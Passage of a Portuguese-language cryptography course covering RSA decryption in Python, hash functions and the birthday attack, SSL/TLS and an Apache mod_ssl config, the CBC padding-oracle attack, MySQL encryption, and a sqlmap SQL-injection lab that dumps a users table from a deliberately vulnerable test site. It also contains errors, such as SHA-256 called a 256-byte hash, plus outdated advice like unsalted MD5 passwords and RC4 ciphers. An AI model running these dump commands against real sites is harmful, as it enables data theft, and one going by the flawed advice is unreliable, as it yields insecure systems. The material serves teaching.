euc_ext.py. Fonte: MATOS (2011, S.P.) 
 
 
 
 
25 
 
 
 
4. Para decifrar caractere por caractere da mensagem, use o programa decifra_rsa.py. O resultado deve 
dar: 
 
Vol 
 
Código de decifra_rsa.py: 
import math 
import sys 
 
def escolha(): 
 f = raw_input("Deseja decifrar outro caracter? 1 = SIM 2 = NAO: ") 
 if f == '1': 
 decifra() 
 elif f == '2': 
 sys.exit(0) 
 else: 
 print ("Escolha 1 ou 2 !") 
 escolha() 
 
def decifra(): 
 a= int(input("Escreva o caracter criptografado: ")) 
 b = int(input("Escreva o valor da chave privada (a letra D): ")) 
 c = int(input("Escreva o valor de N: ")) 
 
 
 d = (a ** b)%c 
 e = str(unichr(d)) 
 print "O caracter decifrado = ", e 
 escolha() 
 
decifra() 
 
 
Notou o tempo que demorou para quebrar o código? Bem rápido, não é mesmo? Quer ver a diferença? 
Agora tente com os seguintes dados: 
 
n = 1395118689832499977 
e = 65537 
MSG = 326026020400037122 – 807404586589519912 – 281075936473600704 
353132823001634071 (três caracteres e um número inteiro) 
 
Você perceberá que existe uma grande diferença no tempo necessário para quebrar um código desse 
tamanho! 
 
 
 
26 
 
Conclusão 
Nesse bloco, você aprendeu como funciona a criptografia assimétrica, também conheceu alguns 
algoritmos criptográficos assimétricos, e, por fim, descobriu a metodologia usada para realizar ataques ao 
algoritmo RSA. 
 
Referências Bibliográficas: 
 
ZOCHIO, M. F. Introdução à criptografia. São Paulo: NOVATEC, 2016. 
KOBLITZ, N. Elliptic curve cryptosystems: Mathematics of Computation, v. 48, p. 203-9, 1987. 
MILLER, V. Uses of ellipticcurves in cryptography. In: Advances in Cryptology: Crypto 1985, LNCS, v. 218, p. 
417-6. New York: Springer-Verlag, 1986. 
TKOTZ, V. Criptografia: segredos embalados para viagem. São Paulo: Novatec, 2005. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
27 
 
BLOCO 4: ALGORITMOS DE HASH 
 
Apresentação 
Nesse bloco, você irá aprender a função das hashes, em seguida, conhecerá alguns algoritmos de hash, e por 
fim, verá um exemplo de colisão de hash. 
 
4.1 Introdução aos hashes 
“Segundo Stallings (2015), uma função hash aceita uma mensagem de tamanho variável e produz uma saída 
de tamanho fixo. Em outras palavras, hash é um resumo criptográfico que gera uma saída de tamanho fixo 
independentemente do tamanho da entrada” (ZOCHIO, 2015). Esta saída denomina-se “hash” da 
mensagem. 
 
Para ter utilidade, o hash deve ter as seguintes características: 
 
 Unidirecionalidade: conhecido um hash, deve ser computacionalmente impossível encontrar a 
mensagem original a partir desse resumo. 
 Compressão: a partir de um conteúdo de qualquer tamanho, o hash, ao ser calculado, deve ter 
tamanho fixo. 
 Facilidade de cálculo. 
 Difusão: o hash deve ser modificado ao se alterar um só bit da mensagem original. 
 Resistência à colisão: deve ser computacionalmente impossível, conhecida uma mensagem original 
M, encontrar outra M’, tal que hash(M) = hash(M’). Esta característica é chamada de resistência débil 
à colisão. Também deve ser computacionalmente impossível encontrar um par (M, M’) de forma que 
hash(M) = hash(M’). Isto se chama resistência forte à colisão. 
 Resistência à primeira inversão: dado um resumo R, é inviável encontrar uma mensagem M tal que 
R= H(M). 
 Resistência à segunda inversão: dado um resumo R e uma mensagem M1 tal que R= H(M1), é inviável 
encontrar uma outra mensagem M2≠M1 tal que R= H(M2). 
 
 
 
 
28 
 
Um hash não tem como objetivo garantir confidencialidade, sua função é prover autenticidade. Veja alguns 
exemplos de algoritmos de hash: 
 
 MD5 (gera hash de 16 bytes) 
 SHA1 (gera hash de 20 bytes) 
 SHA256 (gera hash de 256 bytes) 
 SHA512 (gera hash de 512 bytes) 
 Whirlpool (gera hash de 512 bytes) 
Se for obtido um hash MD5 de um arquivo com 1 MB, teremos um hash de 16 bytes. Se o arquivo tiver 1 
TB, teremos, igualmente, um hash de 16 bytes. 
Se for obtido um hash SHA1 de um arquivo com 1 byte, teremos um hash de 20 bytes. Se o arquivo tiver 
900 kB, teremos, igualmente, um hash de 20 bytes. 
 
4.2 Uso prático de hashes 
Hashes podem ser usados para os seguintes propósitos: 
 
Garantia de autenticidade e integridade: esse é seu principal propósito. Suponha que você baixou um 
arquivo da Internet. Como saber se ele está íntegro, ou seja, foi baixado completamente? Se quem 
disponibilizou o arquivo fornecer o hash dele, é só calcular o arquivo baixado e verificar a coincidência com 
o valor do hash informado. Se forem iguais, o arquivo está íntegro. Se não, ele está corrompido. 
Essa funcionalidade também é usada em perícia forense computacional, ao se fazer uma cópia forense de 
um sistema, um hash dessa cópia é calculado e registrado na cadeia de custódia. Outro perito, ao periciar 
essa prova, verificaria se o hash continua o mesmo. Em caso positivo, a cópia está íntegra; em caso negativo, 
ela foi adulterada. 
Proteção de dados: embora hashes não sejam algoritmos criptográficos, eles podem ajudar na segurança de 
sistemas. Imagine um banco de dados que contém campos de login e senha que são usados para 
autenticação de um site. Você colocaria esses dados em seu formato puro? Não deveria, pois se o banco de 
dados for invadido, o invasor coletaria essas informações facilmente. 
 Se, ao invés de colocar a informação, fossem colocados os hashes dela, a obtenção dos dados seria 
dificultada, pois o invasor não saberia de que se tratam aqueles hashes, uma vez que eles não são reversíveis. 
O usuário continuaria a colocar os dados em formato puro nos campos de autenticação, em seguida o 
sistema calcularia os hashes e compararia com os hashes do banco de dados. Se fossem iguais, o acesso seria 
liberado, caso contrário, não. 
 
 
 
29 
 
4.3 Hash MD5 
O processo de hashing MD5 pode ser representado como na figura a seguir: 
 
 
Hash MD5. Fonte: MUNDSCHAU e BOTCHEK (2012). 
 
 
A seguir, é exibido um round dos 64 realizados: 
 
 
Fluxo de diagrama de uma operação hash md5. Fonte: MUNDSCHAU e BOTCHEK (2012) 
 
 
 
 
30 
 
Agora, serão mostrados alguns exemplos de mensagens, palavras e textos e seus respectivos hashes. Serão 
usados como exemplos os algoritmos de hashes MD5 e SHA1: 
 
Palavra: senha 
MD5 = e8d95a51f3af4a3b134bf6bb680a213a 
SHA1= 7751a23fa55170a57e90374df13a3ab78efe0e99 
 
 
 
Palavra: SENHA 
MD5= 85ee0fe4f155a9af2657d85054ad63ca 
SHA1= 111991cc05cbe8a3cec2776d0c4d099f0c72a6de 
 
 
Palavra: 1234 
MD5 = 81dc9bdb52d04dc20036dbd8313ed055 
SHA1= 7110eda4d09e062aa5e4a390b0a572ac0d2c0220 
 
 
“” (valor nulo) 
MD5 = d41d8cd98f00b204e9800998ecf8427e 
SHA1 = da39a3ee5e6b4b0d3255bfef95601890afd80709 
 
 
4.4 Colisão de hash 
Idealmente, o hash deve ser único para cada arquivo. Essa é uma das suas principais funções, entretanto, 
em alguns casos, acontece de duas “coisas” digitais possuírem o mesmo hash calculado no mesmo algoritmo. 
Esse fenômeno é chamado de “colisão de hash”. Quando isso ocorre, o algoritmo de hash deixa de ser capaz 
de prover autenticidade, porém ainda pode ser usado para comprovar a integridade daquele arquivo digital. 
O caso mais famoso foi o do MD5, no qual uma equipe de pesquisadores chineses encontrou possibilidades 
de colisão, por meio de ataques usando criptoanálise (Wang e Yu, 2009). Pode-se até forjar colisões de hash 
no MD5. 
Para evitar estes problemas, deve-se usar algoritmos de hash que até o momento não apresentem colisões 
comprovadas. 
Falhas como essa podem, por exemplo, colocar em dúvida a integridade de uma prova pericial, considerar 
autênticas mensagens ou arquivos adulterados, ou ainda fornecer acesso indevido a sistemas por meio de 
certificados digitais falsos. 
 
 
 
 
 
31 
 
4.5 Ataque do aniversário contra hashes 
“O ataque de aniversário é baseado em um problema de estatística” (ZOCHIO, 2016). 
Também conhecido como “paradoxo do aniversário”, não é um paradoxo verdadeiro, mas os resultados 
fizeram com que o problema recebesse este apelido. Ele se baseia em duas perguntas: 
“Quantas pessoas precisam estar numa sala para que a probabilidade de alguém fazer aniversário no 
mesmo dia que você seja maior do que 50%? A resposta é: 253 pessoas. 
Quantas pessoas precisam estar numa sala para que a probabilidade de que duas delas façam 
aniversário no mesmo dia seja maior do que 50%? A resposta é 23: pessoas. 
Embora pareça ilógico, são mesmo necessárias apenas 23 pessoas para que se tenha mais de 50% de 
chance de acertar ao afirmar que duas delas fazem aniversário no mesmo dia. Este é o “paradoxo”. 
Para provar que os números estão corretos, basta usar estatística. 
Considerando o número de dias do ano como 365 (excluindo anos bissextos e que há pessoas que 
nasceram no dia 29 de fevereiro) e que o número de nascimentos esteja igualmente distribuído em 
todos os dias do ano, cada um dos presentes na sala tem apenas 364 chances em 365 de não fazer 
aniversário no mesmo dia em que você. Isto representa 364/365 = 0,997260274, ou seja, 
aproximadamente 99,73%. Como o inverso é verdadeiro, e considerando apenas uma pessoa, a 
chance de que você e ela façam aniversário no mesmo dia é 1 - 0,997260274 = 0,002739726 ou cerca 
de 0,27%. 
À medida que o número de pessoas consideradas aumenta, as chances se multiplicam. Se 
considerarmos duas pessoas, a probabilidade de que nenhuma delas faça aniversário no mesmo dia 
que você será (364/365) × (364/365) ou (364/365)2 e que pelo menos uma delas faça aniversário junto 
com você será novamente o inverso 1 - (364/365)2. Aumenteeste número para 3, 4, 5 pessoas, de 
modo sucessivo até encontrar uma probabilidade maior que 0,50 ou 50%. A fórmula para calcular a 
probabilidade pode ser deduzida dos exemplos dados: será 1 menos (364/365) elevado ao número de 
pessoas consideradas. Se representarmos o número de pessoas por n obtemos: 
1 - (364/365)n 
Considerando os cálculos com 252 pessoas, o resultado será 1 - (364/365)252 = 0,499104839 ou 
49,91%. Repetindo os cálculos com 253 pessoas, chega-se à marca de 0,500477154, praticamente 
50,05%. 
No entanto, e se o foco for mudado para encontrar duas pessoas que fazem aniversário na mesma 
data do ano? 
Supondo que haja um calendário em uma sala, quando entra a primeira pessoa, ela marca no 
calendário o dia do seu aniversário. Até então não existe ninguém para compartilhar o aniversário 
com ela; portanto, a chance de repetir o próprio aniversário é 1 ou 100%. A seguir, entra uma segunda 
pessoa na sala. A chance que ela tem de não fazer aniversário no mesmo dia da primeira pessoa é de 
364 em 365, ou seja, 364/365 = 0,997260274 (99,73%). Portanto, a multiplicação das chances de não 
fazer aniversário no mesmo dia é 1 × 0,997260274 = 0,997260274 e a chance de fazer aniversário no 
mesmo dia é de 1 - 0,997260274 = 0,002739726 (0,27%). 
 
 
 
32 
 
Até aqui, não mudou nada do que se viu até agora. Porém, quando a terceira pessoa entrar na sala, a 
chance de marcar um dia que ainda não tenha sido escolhido será de 363 em 365, ou seja, 363/365 = 
0,994520548 ou 99,45% e a multiplicação de chances será 1 × 0,997260274 × 0,994520548 = 
0,991795834 (99,18%). Neste caso, a chance de repetir uma das datas será 1 - 0,991795834 = 
0,008204166 ou 0,82%. 
Os exemplos supracitados mostram que as chances de não repetir aniversários vão diminuindo e que 
as chances de repetir aniversários vão aumentando. Se for designado o número de pessoas como n, a 
chance de os aniversários não coincidirem será: 
(365 - n + 1) / 365 
e a chance multiplicada de que os aniversários não se repitam será: 
 
(364/365) × (363/365) × (362/365) × ... × ((365 - n + 1)/365) 
 
Para obter a chance de que um dos aniversários se repita, é preciso subtrair o resultado obtido com a 
última fórmula de 1: 
1 - ((364/365) × (363/365) × (362/365) × ... × ((365 - n + 1)/365)) 
Então, quando n = 23, o resultado obtido é 0,507297234 ou 50,73%. O método para achar n é calcular 
as chances de os aniversários não se repetirem e depois calcular o inverso”. 
(BLOG NUMA BOA, s.d.; ZOCHIO, 2016) 
 
Para compreender a relação deste “paradoxo” com hashes, é necessário adaptar suas perguntas. Vejamos: 
 
 Quantos arquivos digitais precisam estar em uma mesma sala para que a probabilidade de algum 
deles ter o mesmo hash que um arquivo digital especifico seja maior que 50%? 
 Quantos arquivos digitais precisam estar em uma sala para que a probabilidade de que dois deles 
tenham o mesmo hash seja maior do que 50%? 
 
Portanto, é mais fácil encontrar colisões entre arquivos aleatórios do que em arquivos específicos. Esse 
princípio facilita o teste de colisão de hash e o torna mais rápido. 
 
 
 
 
 
 
33 
 
Conclusão 
Nesse bloco, você aprendeu a função dos hashes, em seguida, conheceu alguns algoritmos de hash, e, por 
fim, viu um exemplo de colisão de hash. 
 
Referências Bibliográficas: 
 
BLOG NUMA BOA. Paradoxo do aniversário. 15/07/2005. Disponível em: 
<http://numaboa.com.br/almanaque/curiosidades/339-aniversario?showall=1&limitstart=>. Acesso em: 6. 
fev. 2019. 
 
OPEN TEXT HOLDINGS INC. Hardware-implemented MD5 Function. US Pat. 8331555 B1, 11 dez. 
2012. 
STALLINGS, William. Criptografia e segurança de redes: princípios e práticas. Tradução Daniel Vieira. 
Revisão técnica Paulo Sérgio Licciardi Messeder Barreto, Rafael Misoczki. 6ª Ed. São Paulo: PEARSON, 2015. 
ZOCHIO, M. F. Introdução à criptografia. São Paulo: NOVATEC, 2016. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
http://numaboa.com.br/almanaque/curiosidades/339-aniversario?showall=1&limitstart=
 
 
 
34 
 
BLOCO 5: CRIPTOGRAFIA NA WEB 
 
Apresentação 
Nesse bloco, você conhecerá o funcionamento dos protocolos SSL e TLS; aprenderá como criar um certificado 
digital e como usá-lo para autenticação de sites; descobrirá como implantar criptografia em sites; e, por fim, 
verá uma exploração de falha no modo de cifra CBC. 
 
5.1 SSL 
Segundo Stallings (2016), o SSL usa o protocolo TCP para fornecer um serviço seguro confiável de ponta a 
ponta. O SSL não é um protocolo único, mas sim duas camadas de protocolos. Veja a figura a seguir: 
 
 
Pilha de protocolo SSL. Fonte: STALLINGS (2016, p.413) 
 
O protocolo de registro SSL fornece serviços básicos de segurança para vários protocolos de camada 
superior. Em particular, o Hypertext Transfer Protocol (HTTP) que presta o serviço de transferência para 
interação cliente/servidor da Web, pode operar sobre SSL. 
Três protocolos de camada superior são definidos como parte do SSL: 
 O Protocolo de Handshake; 
 O Protocolo de Especificação de Alteração de Criptografia; 
 O Protocolo de Alerta. 
Esses três protocolos são usados no gerenciamento de trocas de SSL e são examinados posteriormente nesta 
seção. 
 
 
 
 
35 
 
Dois importantes conceitos SSL são a sessão SSL e a conexão SSL. São definidos da seguinte forma: 
 
Conexão: Uma conexão é um transporte (na definição do modelo de camadas OSI) que fornece um tipo 
adequado de serviço. Para o SSL, tais conexões são relações ponto-a-ponto. Elas são transitórias. Cada uma 
delas está associada a uma sessão. 
Sessão: uma sessão SSL é uma associação entre um cliente e um servidor. As sessões são criadas pelo 
protocolo de handshake. Definem um conjunto de parâmetros de segurança criptográficos que podem ser 
compartilhados entre várias conexões. Elas são usadas para evitar a dispendiosa negociação de novos 
parâmetros de segurança para cada conexão. 
Entre qualquer par de partes (aplicativos como HTTP no cliente e no servidor), podem existir várias conexões 
seguras. Em teoria, também pode haver várias sessões simultâneas entre as partes, mas esse recurso não é 
usado na prática. 
 
O handshake do protocolo SSL é mostrado a seguir: 
 
 
Ação do protocolo handshake. Fonte: STALLINGS (2016, p.419) 
 
 
 
 
 
 
36 
 
5.2 TLS 
O TLS foi criado para substituir o SSL v.3, pois esse protocolo possui falhas de segurança, permitindo ataques 
“homem-do-meio”, POODLE, Heartbleed, dentre outros. Atualmente, encontra-se na versão 1.3 e possui 
funcionamento semelhante ao SSL, porém com algumas diferenças. 
Tem a capacidade de trabalhar em portas diferentes (não só a 443) e usa algoritmos de criptografia mais 
fortes, como o Hashing for Message Authentication Code (HMAC), enquanto o SSL usa apenas Message 
Authentication Code (MAC). Além disso, não é compatível com o SSL v.3 e pode ser usado por uma 
autoridade de certificação intermediária, não sendo necessário recorrer à uma Autoridade de Certificação 
Raiz. 
 
5.3 Certificado digital 
“Um certificado digital é um documento digital que liga a chave pública de uma entidade a um ou mais de 
seus atributos, armazenados em um arquivo” (ZOCHIO, 2016). Ele garante que a chave pública pertence à 
entidade dona do certificado e, também, que esta entidade, e somente ela, possui a chave privada 
correspondente à chave pública do certificado em questão. 
 
5.3.1 Padrão X.509 
O padrão X.509 foi criado pela International Telecommunication Union Standardization Sector (ITU-T) e 
International Organization for Standardization/International Electrotechnical Commission (ISO/IEC), em 
1988. A figura a seguir ilustra sua estrutura: 
 
 
Certificado Digital no Padrão X.509 v3. Fonte: SILVA (2008, S.P.) 
 
 
 
 
 
37 
 
 
A tabela a seguir explica cada campo do X509: 
 
 
Descrição dos campos de um certificado no formato X.509 v3. Fonte: SILVA (2008, S.P.) 
 
5.4 Implantação de criptografia em sitesTomemos por base um servidor Linux CentOS com Apache instalado. Nele, o principal arquivo de 
configuração do Apache encontra-se em /etc/httpd/conf/httpd.conf. dentro da pasta /etc/httpd/conf.d/ 
podemos configurar os módulos. Se não houver o módulo mod_ssl instalado, o comando para sua instalação 
será: 
 
 
yum install mod_ssl 
 
 
 
 
 
 
 
38 
 
Esse módulo dá suporte ao uso do SSL/TLS. Após a instalação será criado o arquivo ssl.conf na pasta 
/etc/httpd/conf.d, onde podemos realizar as configurações associadas ao SSL / TLS. Usando o arquivo 
criado, indicar os seguintes paramentos: 
SSLCertificateFile /etc/pki/tls/pplware/www.crt 
SSLCertificateKeyFile /etc/pki/tls/pplware/chaveprivada.key 
 
O ssl.conf ficará com a seguinte configuração: 
 
## 
## SSL Virtual Host Context 
## 
 
<virtualhost _default_:443=""> 
 
# General setup for the virtual host, inherited from global configuration 
#DocumentRoot "/var/www/html" 
#ServerName www.example.com:443 
 
# Use separate log files for the SSL virtual host; note that LogLevel 
# is not inherited from httpd.conf. 
ErrorLog logs/ssl_error_log 
TransferLog logs/ssl_access_log 
LogLevel warn 
 
# SSL Engine Switch: 
# Enable/Disable SSL for this virtual host. 
SSLEngine on 
 
 
# SSL Protocol support: 
# List the enable protocol levels with which clients will be able to 
# connect. Disable SSLv2 access by default: 
SSLProtocol all -SSLv2 
# SSL Cipher Suite: 
# List the ciphers that the client is permitted to negotiate. 
# See the mod_ssl documentation for a complete list. 
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW 
 
# Server Certificate: 
# Point SSLCertificateFile at a PEM encoded certificate. If 
# the certificate is encrypted, then you will be prompted for a 
# pass phrase. Note that a kill -HUP will prompt again. A new 
# certificate can be generated using the genkey(1) command. 
#SSLCertificateFile /etc/pki/tls/certs/localhost.crt 
 
SSLCertificateFile /etc/pki/tls/pplware/www.crt 
SSLCertificateKeyFile /etc/pki/tls/pplware/chaveprivada.key 
SSLVerifyClient require 
SSLVerifyDepth 10 …. 
</virtualhost> 
 
Após a configuração, reiniciar o Apache (service httpd restart) e verificar se tudo funciona direito. Para tal, 
abra o navegador e estabeleça uma conexão com o servidor. 
 
 
 
39 
 
5.5 Exploração de falhas em algoritmos criptográficos 
Foi descoberta uma falha no modo de cifra CBC. Ela é susceptível ao ataque “padding-oracle”. Vamos 
explicar a falha: 
 
A fórmula matemática para decifragem no modo CBC é: 
 
 
 
Como vimos, o modo CBC decifra com XOR cada bloco de texto simples com o bloco cifrado anterior. Como 
resultado, uma modificação de byte único no bloco C1 (cifrado) fará uma alteração correspondente em um 
único byte em P2 (texto sem cifra). 
Suponha que o invasor tenha dois blocos de texto cifrado C1 e C2 e ele queira decifrar o segundo bloco para 
obter o texto puro P2. O atacante altera o último byte de C1 (criando C1') e envia (IV, C1', C2) para o servidor 
que, então, retorna se o preenchimento do último bloco decifrado (P2') está correto (igual a 0x01). 
 Se o padding estiver correto, o invasor agora sabe que o último byte de DK(C2) ⊕ C1 é 0x01. Portanto, 
DK(C2)=C1'⊕ 0x01. Se o preenchimento estiver incorreto, o invasor poderá alterar o último byte de C1' para 
o próximo valor possível. No máximo, o invasor precisará fazer 256 tentativas (um palpite para cada byte 
possível) para encontrar o último byte de P2. Se o bloco decifrado contiver informações de preenchimento 
ou bytes usados para preenchimento (padding), será necessário fazer uma tentativa adicional para resolver 
essa ambiguidade. 
Depois de determinar o último byte de P2, o atacante pode usar a mesma técnica para obter do segundo ao 
último. O atacante define o último byte de P2 para 0x02, definindo o último byte de C1 para DK(C2) ⊕ 0x02. 
O invasor usa a mesma abordagem descrita acima, desta vez modificando do segundo até o último byte até 
que o preenchimento esteja correto (0x02, 0x02), e assim por diante. 
Se um bloco consistir de 128 bits (AES, por exemplo), que é de 16 bytes, o invasor obterá o texto puro P2 em 
não mais do que 255⋅16 = 4080 tentativas. Isso é significativamente mais rápido do que as 2128 tentativas 
necessárias para quebrar uma chave de 128 bits. 
Conclusão 
Nesse bloco, você conheceu o funcionamento dos protocolos SSL e TLS; aprendeu como criar um certificado 
digital e como usá-lo para autenticação de sites; descobriu como implantar criptografia em sites; e, por fim, 
viu uma exploração de falha no modo de cifra CBC. 
 
 
 
40 
 
Referências Bibliográficas: 
 
SILVA, Gustavo Cordeiro da et al. Certificação digital – conceitos e aplicações. Rio de Janeiro: Ciência 
Moderna, 2008. 
STALLINGS, William. Criptografia e segurança de redes – princípios e práticas. Tradução Daniel Vieira. 
Revisão técnica Paulo Sérgio Licciardi Messeder Barreto, Rafael Misoczki. 6ª Ed. São Paulo: PEARSON, 2015. 
ZOCHIO, M. F. Introdução à criptografia. São Paulo: NOVATEC, 2016. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
41 
 
BLOCO 6: CRIPTOGRAFIA EM BANCO DE DADOS 
 
Apresentação 
Nesse bloco, você saberá por que é interessante usar criptografia em banco de dados; aprenderá como usar 
hash para proteger dados em um banco; verá como usar criptografia em bancos de dados MySQL e SQLite; 
e conhecerá como funciona o ataque SQL Injection contra sites que usam banco de dados e como se precaver 
contra ele. 
 
6.1 Por que usar criptografia em banco de dados? 
Criptografia, conforme já vimos, esconde o significado de algo, no nosso caso, de uma mensagem ou arquivo 
digital. O objetivo principal de um cracker, ao invadir um banco de dados, é conseguir os dados que ele 
armazena. A criptografia fornece uma camada a mais de proteção ao cifrar certos dados de um banco, 
evitando que o cracker, ao invadi-lo, consiga usá-los, pois não saberá o que eles significam. 
Não convém que todos os dados de um banco sejam criptografados. Quanto mais criptografia um banco usa, 
mais lento ele se torna. Dados chave, como login e senha, podem e devem ser criptografados, ou protegidos 
com hash, como veremos mais adiante. 
Além disso, protege não só contra atacantes externos, mas também contra ataques internos (funcionários 
descontentes ou atacantes infiltrados). 
 
 
6.2 Uso de hash para proteção de dados 
Você armazenaria em um banco de dados de informações como login, senha, documentos e outros dados 
sensíveis de maneira pura? Não deveria. Se o banco for invadido, eles serão roubados. Uma alternativa mais 
segura seria armazenar os hashes desses dados. O hash não tem caminho de volta, ou seja, é impossível 
calcular o objeto de cálculo de um hash por meio do seu resultado. 
 Mas como seria feita a autenticação de uma requisição em que essas informações fossem solicitadas? 
Imagine um site que exige senha para adentrar uma área especifica. O usuário preenche com sua senha pura, 
o site usa a linguagem em que ele foi escrito para calcular o hash da string colocada no campo e compara 
com o hash armazenado no banco de dados. Se eles forem iguais, o acesso é liberado. Caso contrário, é 
negado. 
 
 
 
 
 
42 
 
 
6.3 Criptografia em SGBD MySQL 
 
Vamos fazer um pequeno laboratório para mostrar como usar criptografia em banco de dados MySQL. 
 
1. Crie um banco de dados: 
 
create database banco_criptografado; 
use banco_criptografado; 
 
2. Crie uma tabela nesse banco 
 
create table tabela-criptografada(`id` int(8) not null auto_increment, `nome` varchar(255), `senha` 
varchar(255), primary key (`id`)) AUTO_INCREMENT=1; 
3. O MySQL permite cifrar os dados com a cifra simétrica AES. Alimente essa tabela usando essa 
ferramenta: 
insert into tabela_criptografada(`id`, `nome`, `senha`) values(‘’, AES_ENCRYPT("marcelo","xarope"), 
AES_ENCRYPT("123","xarope")); 
 
Traduzindo o código acima: 
marcelo= dado a ser inserido no campo “nome” da tabela “tabela_criptografada” 
123 = dado a ser inserido no campo “senha” da tabela “tabela_criptografada” 
xarope = senha usada para cifrar o dado inserido nos campos citados 
 
4. Faça uma consulta simples para verificar o resultado: 
select * from tabela_criptografada; 
 
 
 
 
43 
 
5. Para fazer uma consulta decifrando os dados, faça: 
select id, AES_DECRYPT(nome,"xarope")as nome, AES_DECRYPT(senha,"xarope") as senha from 
tabela_criptografada; 
6. Se quiser fazer uma consulta sem enviar os caracteres da senha na query, faça: 
select @chave:="xarope"; 
select id, AES_DECRYPT(nome,@chave) as nome, AES_DECRYPT(senha,@chave) as senha from 
tabela_criptografada; 
Procedimento para uso de hash no lugar de cifra criptográfica: 
7. Crie outra tabela: 
create table teste_hash(`id` int(8) not null auto_increment, `nome` varchar(255), `senha` varchar(255), 
primary key (`id`)) AUTO_INCREMENT=1; 
8. Se quiser usar hash MD5 para proteger os campos, faça: 
insert into teste_hash(`id`, `nome`, `senha`) values(‘’, MD5("marcelo"), MD5("123")); 
9. Pode-se usar outros algoritmos de hash. Veja estes: 
insert into teste_hash(`id`, `nome`, `senha`) values(‘’, SHA("sandrovaldo"), SHA("456")); 
insert into teste_hash(`id`, `nome`, `senha`) values(‘’, SHA1("hermenegildo"), SHA1("789")); 
 
10. Atenção! Como o hash é irreversível, use o somente para proteger senhas, logins e campos onde se 
exige comparação de dados digitados pelo usuário para verificação de integridade! 
 
 
 
 
 
 
44 
 
6.4 Criptografia em SQLite 
O banco de dados SQLite, muito empregado para comportar volume de dados pequenos. Geralmente é 
usado em celulares e computação embarcada, não possui suporte nativo à criptografia, entretanto, é 
possível usar alguns recursos como hash, por exemplo, do mesmo modo que você usou com o MySQL. Desta 
forma coloca-se a responsabilidade de conferir o hash no aplicativo que uso o banco de dados. 
 
6.5 SQL Injection 
Ao desenvolver um site ou software, deve-se pensar não só na sua eficiência, mas também em sua 
segurança. Nenhum usuário gostaria que existissem falhas que auxiliem na invasão do sistema. 
Essa preocupação é comum em sistemas WEB que usam a INTERNET como meio de comunicação, já que são 
sensíveis a vários tipos de ataques, e precisam dar atenção especial a essa questão, pois: 
 
 Trabalham com informações alheias que, se caírem em mãos erradas, podem causar sérios 
transtornos, tanto para os donos delas quanto para seus hospedeiros; 
 Esses sistemas usam uma via pública de acesso à informação, a rede mundial de computadores, 
portanto, precisam estar protegidos contra violação dos pilares da segurança da informação que são 
a disponibilidade, a confidencialidade e a integridade. 
 
Uma das técnicas usadas para acessar indevidamente informações de sites que usam páginas dinâmicas com 
acesso à bancos de dados é o SQL Injection, que tenta executar comandos SQL em campos de busca ou 
endereços. 
Esse ataque pode ser executado manualmente ou com o auxílio de ferramentas. Uma delas é o sqlmap. Essa 
ferramenta pode ser encontrada na distribuição Kali Linux ou separadamente. Para executá-la 
separadamente, você precisa ter o interpretador Python instalado em seu computador. 
Façamos agora um ataque a uma página de testes, feito especificamente para ser invadida, cujo endereço 
é: 
http://testphp.vulnweb.com. 
 
Para realizar a execução do SQLMAP é necessário utilizar um parâmetro GET. Na página descrita, 
encontramos um em: 
http://testphp.vulnweb.com/listproducts.php?cat=1 
http://testphp.vulnweb.com/
http://testphp.vulnweb.com/listproducts.php?cat=1
 
 
 
45 
 
Primeiro, vamos encontrar o nome dos bancos de dados disponíveis no servidor. Para esse exercício, vamos 
considerar um sistema Windows com Python instalado. Entre pelo prompt do Windows na pasta onde está 
o sqlmap e digite: 
python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs 
 
Onde: 
-u: URL, endereço do site. 
--dbs: lista os bancos de dados do site. 
 
Deverá aparecer a seguinte mensagem: 
available databases [2]: 
[*] acuart 
[*] information_schema 
 
 
Agora que listamos os bancos de dados, vamos extrair as tabelas do banco de dados acuart, pois esse nos 
interessa. 
python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs -D acuart --tables 
 
Onde: 
-D: define o banco de dados que será avaliado. 
acuart: banco de dados alvo. 
--tables: lista todas as tabelas do banco de dados informado. 
 
Deverá sair a informação: 
Database: acuart 
[8 tables] 
artists 
carts 
categ 
featured 
guestbook 
pictures 
products 
users 
 
 
 
46 
 
 
Agora extrai-se todas as colunas da tabela users: 
python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs -D acuart -T users --
columns 
 
Onde: 
-T: define a tabela que será avaliada. 
users: tabela do banco de dados acuart. 
--columns: lista todas as colunas da tabela users. 
 
Então obtemos a informação: 
Database: acuart 
Table: users 
[8 columns] 
| Column | Type | 
| address | mediumtext | 
| cart | varchar(100) | 
| cc | varchar(100) | 
| email | varchar(100) | 
| name | varchar(100) | 
| pass | varchar(100) | 
| phone | varchar(100) | 
| uname | varchar(100) | 
 
 
Agora iremos realizar o comando DUMP, ou seja, extrair todas as informações cadastradas nas colunas da 
tabela users. 
python sqlmap.py –u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs -D acuart -T users -C 
name, pass, uname, cc --dump 
 
Onde: 
-C: define as colunas que será avaliada. 
name,pass,uname,email: lista das colunas da tabela users. 
--dump: extrai todas as informações contidas nas colunas da tabela informada. 
 
 
 
47 
 
O resultado: 
Database: acuart 
Table: users 
[1 entry] 
| name | pass | uname | cc | 
| Homer Simpson| test | test | 1234-5678-2300-9000 | 
 
Onde: 
name: nome do usuário 
pass: senha 
uname: login 
cc: número do cartão de crédito 
 
O resultado pode mudar, pois esse banco é constantemente invadido, e alguns atacantes mudam os dados 
gravados nele. 
 
Conclusão 
Nesse bloco, você soube por que é interessante usar criptografia em banco de dados; aprendeu como usar 
hash para proteger dados em um banco; viu como usar criptografia em bancos de dados MySQL e SQLite; e 
conheceu como funciona o ataque SQL Injection contra sites que usam banco de dados e como se precaver 
contra ele. 
 
Referências Bibliográficas: 
STALLINGS, William. Criptografia e segurança de redes: princípios e práticas. Tradução Daniel Vieira. 
Revisão técnica Paulo Sérgio Licciardi Messeder Barreto, Rafael Misoczki. 6ª Ed. São Paulo: PEARSON, 2015. 
ZOCHIO, M. F. Introdução à criptografia. São Paulo: NOVATEC, 2016.

Mais conteúdos dessa disciplina